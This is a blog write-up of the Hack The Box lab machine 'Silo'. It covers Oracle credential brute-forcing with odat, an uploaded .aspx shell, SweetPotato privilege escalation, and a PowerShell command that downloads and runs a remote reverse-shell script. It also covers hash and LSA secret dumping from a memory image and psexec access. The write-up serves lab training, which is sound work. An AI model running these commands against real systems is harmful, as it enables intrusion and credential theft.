Sitemap
Open in app

Sign in

Medium Logo
Write
Search

Sign in

Hack The Box | Silo

6 min readJul 28, 2023

--

Silo medium rated machine involving brute force password exploiting oracle database, enumerate memory dump with volatility3 and has unintended privilege escalation with juicy potato.

Press enter or click to view image in full size

Nmap

>>> Starting nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-28 01:40 EDT
Nmap scan report for 10.10.10.82
Host is up (0.088s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 8.5
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/8.5
| http-methods:
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp  open  http         Oracle XML DB Enterprise Edition httpd
|_http-server-header: Oracle XML DB/Oracle Database
|_http-title: 400 Bad Request
| http-auth:
| HTTP/1.1 401 Unauthorized
|_  Basic realm=XDB
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49159/tcp open  oracle-tns   Oracle TNS listener (requires service name)
49160/tcp open  msrpc        Microsoft Windows RPC
49161/tcp open  msrpc        Microsoft Windows RPC
49162/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: supported
| smb2-security-mode:
|   302:
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| smb2-time:
|   date: 2023-07-28T05:43:01
|_  start_date: 2023-07-27T16:14:35
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 129.13 seconds

Dir Busting

$ feroxbuster -u http://10.10.10.82/

___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.82/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
[####################] - 3m    270027/270027  0s      found:47      errors:97
[####################] - 2m     30000/30000   294/s   http://10.10.10.82/
[####################] - 2m     30000/30000   289/s   http://10.10.10.82/aspnet_client/
[####################] - 2m     30000/30000   249/s   http://10.10.10.82/Aspnet_client/
[####################] - 2m     30000/30000   230/s   http://10.10.10.82/aspnet_Client/
[####################] - 2m     30000/30000   220/s   http://10.10.10.82/aspnet_client/system_web/
[####################] - 2m     30000/30000   230/s   http://10.10.10.82/ASPNET_CLIENT/
[####################] - 2m     30000/30000   233/s   http://10.10.10.82/Aspnet_client/system_web/
[####################] - 2m     30000/30000   264/s   http://10.10.10.82/aspnet_Client/system_web/
[####################] - 86s    30000/30000   350/s   http://10.10.10.82/ASPNET_CLIENT/system_web/

Odat (Oracle Database Attacking Tool)

$ ./odat.py all -s 10.10.10.82 -p 1521

-> guess sid 
->brute force user password
Press enter or click to view image in full size

Read File

$ ./odat.py utlfile -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --getFile 'c:\Windows\System32\Drivers\etc\' hosts  hosts.txt --sysdb
Press enter or click to view image in full size

Uplaod File

./odat.py utlfile -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --putFile 'C:\inetpub\wwwroot' yy.txt ../hh.txt --sysdba
Press enter or click to view image in full size

Upload .aspx Shell

$ ./odat.py utlfile -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --putFile 'C:\inetpub\wwwroot' rev.aspx ../shell.aspx --sysdba
Press enter or click to view image in full size

User Flag

C:\Users\Phineas\Desktop> dir
Volume in drive C has no label.
 Volume Serial Number is 69B2-6341
 Directory of C:\Users\Phineas\Desktop
01/07/2018  03:03 PM    <DIR>          .
01/07/2018  03:03 PM    <DIR>          ..
01/05/2018  11:56 PM               300 Oracle issue.txt
07/27/2023  05:15 PM                34 user.txt
               2 File(s)            334 bytes
               2 Dir(s)   7,360,516,096 bytes free
C:\Users\Phineas\Desktop>type user.txt
9468c1cbc1bb71e3966be5d4dfc71df9
C:\Users\Phineas\Desktop>type "Oracle issue.txt"
type "Oracle issue.txt"
Support vendor engaged to troubleshoot Windows / Oracle performance issue (full memory dump requested):
Dropbox link provided to vendor (and password under separate cover).
Dropbox link
https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0
link password:
?%Hm8646uC$

# Link Password Not Valid

Priv esc

C:\Windows\Temp>systeminfo
systeminfo

Host Name:                 SILO
OS Name:                   Microsoft Windows Server 2012 R2 Standard
OS Version:                6.3.9600 N/A Build 9600
System Type:               x64-based PC
...
C:\Windows\Temp>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Potato Attack: (Unintended Way)

windows server 2012 R2 SeImpersonatePrivilege enabled vulnerable to juicy potato.

Get hx101’s stories in your inbox

Join Medium for free to get updates from this writer.

Help On Potato Attacks : https://jlajara.gitlab.io/Potatoes_Windows_Privesc

Sweet Potato

C:\Windows\Temp>sweetpotato.exe -a whoami
Press enter or click to view image in full size

Shell As System

sweetpotato.exe -a "powershell -ep bypass -c iex(iwr http://10.10.14.2:8080/rev.ps1 -UseBasicparsing)"

$ sudo rlwrap nc -nvlp 9002
listening on [any] 9002 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.82] 49231
PSReverseShell# hostname
SILO
PSReverseShell# whoami
nt authority\system
PSReverseShell# cat C:/Users/Administrator/Desktop/root.txt
3c37b13121f3437915f7de65ec9a27d7
Press enter or click to view image in full size

DropBox link Password

link password: ?%Hm8646uC$ encode text file to bas64

PSReverseShell# $fc = Get-Content 'Oracle Issue.txt'
PSReverseShell# $fe = [System.Text.Encoding]::UTF8.GetBytes($fc)
PSReverseShell# [System.Convert]::ToBase64String($fe)

U3VwcG9ydCB2ZW5kb3IgZW5nYWdlZCB0byB0cm91Ymxlc2hvb3QgV2luZG93cyAvIE9yYWNsZSBwZXJmb3JtYW5jZSBpc3N1ZSAoZnVsbCBtZW1vcnkgZHVtcCByZXF1ZXN0ZWQpOiAgRHJvcGJveCBsaW5rIHByb3ZpZGVkIHRvIHZlbmRvciAoYW5kIHBhc3N3b3JkIHVuZGVyIHNlcGFyYXRlIGNvdmVyKS4gIERyb3Bib3ggbGluayAgaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vc2gvNjlza3J5emZzemI3ZWxxL0FBRFpuUUViYnFEb0lmNUwyZDBQQnhFTmE/ZGw9MCAgbGluayBwYXNzd29yZDogwqMlSG04NjQ2dUMk
PSReverseShell#

$echo -n U3VwcG9ydCB2ZW5kb3IgZW5nYWdlZCB0byB0cm91Ymxlc2hvb3QgV2luZG93cyAvIE9yYWNsZSBwZXJmb3JtYW5jZSBpc3N1ZSAoZnVsbCBtZW1vcnkgZHVtcCByZXF1ZXN0ZWQpOiAgRHJvcGJveCBsaW5rIHByb3ZpZGVkIHRvIHZlbmRvciAoYW5kIHBhc3N3b3JkIHVuZGVyIHNlcGFyYXRlIGNvdmVyKS4gIERyb3Bib3ggbGluayAgaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vc2gvNjlza3J5emZzemI3ZWxxL0FBRFpuUUViYnFEb0lmNUwyZDBQQnhFTmE/ZGw9MCAgbGluayBwYXNzd29yZDogwqMlSG04NjQ2dUMk | base64 -d
Support vendor engaged to troubleshoot Windows / Oracle performance issue (full memory dump requested):
Dropbox link provided to vendor (and password under separate cover).  Dropbox link  https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0 
 
 link password: £%Hm8646uC$

found the correct password for Dropbox link download the zip file

$ unzip SILO-20180105-221806.zip
Archive:  SILO-20180105-221806.zip
  inflating: SILO-20180105-221806.dmp

$ file SILO-20180105-221806.dmp
SILO-20180105-221806.dmp: MS Windows 64bit crash dump, full dump, 261996 pages

Volatility3 Memory dump Enumeration

cheat sheet volatility: https://blog.onfvp.com/post/volatility-cheatsheet/

$ vol -f SILO-20180105-221806.dmp windows.lsadump.Lsadump
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
Key     Secret  Hex

DefaultPassword DoNotH@ckMeBro!

$ vol -f SILO-20180105-221806.dmp windows.hashdump.Hashdump
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
User    rid     lmhash  nthash
Administrator   500     aad3b435b51404eeaad3b435b51404ee        9e730375b7cbcebf74ae46481e07b0c7
Guest   501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
Phineas 1002    aad3b435b51404eeaad3b435b51404ee        8eacdd67b77749e65d3b3d5c110b0969

$ cme smb 10.10.10.82 -u 'Administrator' -p 'DoNotH@ckMeBro!'
SMB         10.10.10.82     445    SILO             [*] Windows Server 2012 R2 Standard 9600 x64 (name:SILO) (domain:SILO) (signing:False) (SMBv1:True)
SMB         10.10.10.82     445    SILO             [+] SILO\Administrator:DoNotH@ckMeBro! (Pwn3d!)
$ impacket-psexec silo\/Administrator@10.10.10.82
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.10.82.....
[*] Found writable share ADMIN$
[*] Uploading file JWZxyyBw.exe
[*] Opening SVCManager on 10.10.10.82.....
[*] Creating service jzpo on 10.10.10.82.....
[*] Starting service jzpo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Press enter or click to view image in full size
Press enter or click to view image in full size
Htb Writeup
Htb Walkthrough
Silo
Ctf Walkthrough
Ctf Writeup

--

--

hx101
hx101

Written by hx101

6 followers
5 following

Help

Status

About

Careers

Press

Blog

Store

Privacy

Rules

Terms

Text to speech